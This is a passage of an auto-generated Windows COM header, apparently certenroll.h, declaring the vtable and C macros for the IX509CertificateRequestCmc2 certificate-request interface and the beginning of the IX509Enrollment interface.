[retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ VARIANT_BOOL RenewalRequest,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromInnerRequest )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequesterName )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_RequesterName )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificate )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SignerCertificate )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromInnerRequestTemplateName )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateObjectId )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NullSigned )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CryptAttributes )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttributes **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NameValuePairs )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePairs **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CriticalExtensions )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressOids )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TransactionId )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_TransactionId )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SenderNonce )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SenderNonce )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignatureInformation )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ArchivePrivateKey )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ArchivePrivateKey )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyArchivalCertificate )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyArchivalCertificate )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptionAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_EncryptionAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptionStrength )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_EncryptionStrength )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptedKeyHash )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificates )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificates **ppValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplate )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromInnerRequestTemplate )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PolicyServer )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Template )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckSignature )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [defaultvalue][in] */ Pkcs10AllowedSignatureTypes AllowedSignatureTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckCertificateSignature )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pSignerCertificate,\n            /* [in] */ VARIANT_BOOL ValidateCertificateChain);\n        \n        END_INTERFACE\n    } IX509CertificateRequestCmc2Vtbl;\n\n    interface IX509CertificateRequestCmc2\n    {\n        CONST_VTBL struct IX509CertificateRequestCmc2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequestCmc2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequestCmc2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequestCmc2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequestCmc2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequestCmc2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequestCmc2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequestCmc2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequestCmc2_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequestCmc2_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequestCmc2_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequestCmc2_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequestCmc2_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCmc2_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509CertificateRequestCmc2_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509CertificateRequestCmc2_InitializeFromCertificate(This,Context,RenewalRequest,strCertificate,Encoding,InheritOptions)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,Context,RenewalRequest,strCertificate,Encoding,InheritOptions) ) \n\n#define IX509CertificateRequestCmc2_InitializeFromInnerRequest(This,pInnerRequest)\t\\\n    ( (This)->lpVtbl -> InitializeFromInnerRequest(This,pInnerRequest) ) \n\n#define IX509CertificateRequestCmc2_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRequestCmc2_get_RequesterName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RequesterName(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_RequesterName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_RequesterName(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_SignerCertificate(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificate(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_put_SignerCertificate(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_SignerCertificate(This,pValue) ) \n\n\n#define IX509CertificateRequestCmc2_InitializeFromInnerRequestTemplateName(This,pInnerRequest,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromInnerRequestTemplateName(This,pInnerRequest,strTemplateName) ) \n\n#define IX509CertificateRequestCmc2_get_TemplateObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateObjectId(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_get_NullSigned(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NullSigned(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_get_CryptAttributes(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CryptAttributes(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_get_NameValuePairs(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_NameValuePairs(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_get_CriticalExtensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CriticalExtensions(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_get_SuppressOids(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressOids(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_get_TransactionId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_TransactionId(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_TransactionId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_TransactionId(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_SenderNonce(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_SenderNonce(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_SenderNonce(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_SenderNonce(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCmc2_get_SignatureInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignatureInformation(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_get_ArchivePrivateKey(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ArchivePrivateKey(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_ArchivePrivateKey(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ArchivePrivateKey(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_KeyArchivalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyArchivalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_KeyArchivalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyArchivalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCmc2_get_EncryptionAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptionAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_put_EncryptionAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_EncryptionAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_get_EncryptionStrength(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptionStrength(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_EncryptionStrength(This,Value)\t\\\n    ( (This)->lpVtbl -> put_EncryptionStrength(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_EncryptedKeyHash(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptedKeyHash(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCmc2_get_SignerCertificates(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificates(This,ppValue) ) \n\n\n#define IX509CertificateRequestCmc2_InitializeFromTemplate(This,context,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplate(This,context,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestCmc2_InitializeFromInnerRequestTemplate(This,pInnerRequest,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromInnerRequestTemplate(This,pInnerRequest,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestCmc2_get_PolicyServer(This,ppPolicyServer)\t\\\n    ( (This)->lpVtbl -> get_PolicyServer(This,ppPolicyServer) ) \n\n#define IX509CertificateRequestCmc2_get_Template(This,ppTemplate)\t\\\n    ( (This)->lpVtbl -> get_Template(This,ppTemplate) ) \n\n#define IX509CertificateRequestCmc2_CheckSignature(This,AllowedSignatureTypes)\t\\\n    ( (This)->lpVtbl -> CheckSignature(This,AllowedSignatureTypes) ) \n\n#define IX509CertificateRequestCmc2_CheckCertificateSignature(This,pSignerCertificate,ValidateCertificateChain)\t\\\n    ( (This)->lpVtbl -> CheckCertificateSignature(This,pSignerCertificate,ValidateCertificateChain) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequestCmc2_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0086 */\n/* [local] */ \n\ntypedef \nenum InstallResponseRestrictionFlags\n    {\n        AllowNone\t= 0,\n        AllowNoOutstandingRequest\t= 0x1,\n        AllowUntrustedCertificate\t= 0x2,\n        AllowUntrustedRoot\t= 0x4\n    } \tInstallResponseRestrictionFlags;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0086_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0086_v0_0_s_ifspec;\n\n#ifndef __IX509Enrollment_INTERFACE_DEFINED__\n#define __IX509Enrollment_INTERFACE_DEFINED__\n\n/* interface IX509Enrollment */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509Enrollment;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab346-217d-11da-b2a4-000e7bbb2b09\")\n    IX509Enrollment : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ X509CertificateEnrollmentContext Context) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromTemplateName( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeFromRequest( \n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pRequest) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE CreateRequest( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Enroll( void) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InstallResponse( \n            /* [in] */ InstallResponseRestrictionFlags Restrictions,\n            /* [in] */ __RPC__in BSTR strResponse,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strPassword) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE CreatePFX( \n            /* [in] */ __RPC__in BSTR strPassword,\n            /* [in] */ PFXExportOptions ExportOptions,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Request( \n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Silent( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Silent( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ParentWindow( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ParentWindow( \n            /* [in] */ LONG Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_NameValuePairs( \n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePairs **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EnrollmentContext( \n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Status( \n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentStatus **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Certificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Response( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_CertificateFriendlyName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_CertificateFriendlyName( \n            /* [in] */ __RPC__in BSTR strValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_CertificateDescription( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_CertificateDescription( \n            /* [in] */ __RPC__in BSTR strValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RequestId( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CAConfigString( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509EnrollmentVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface 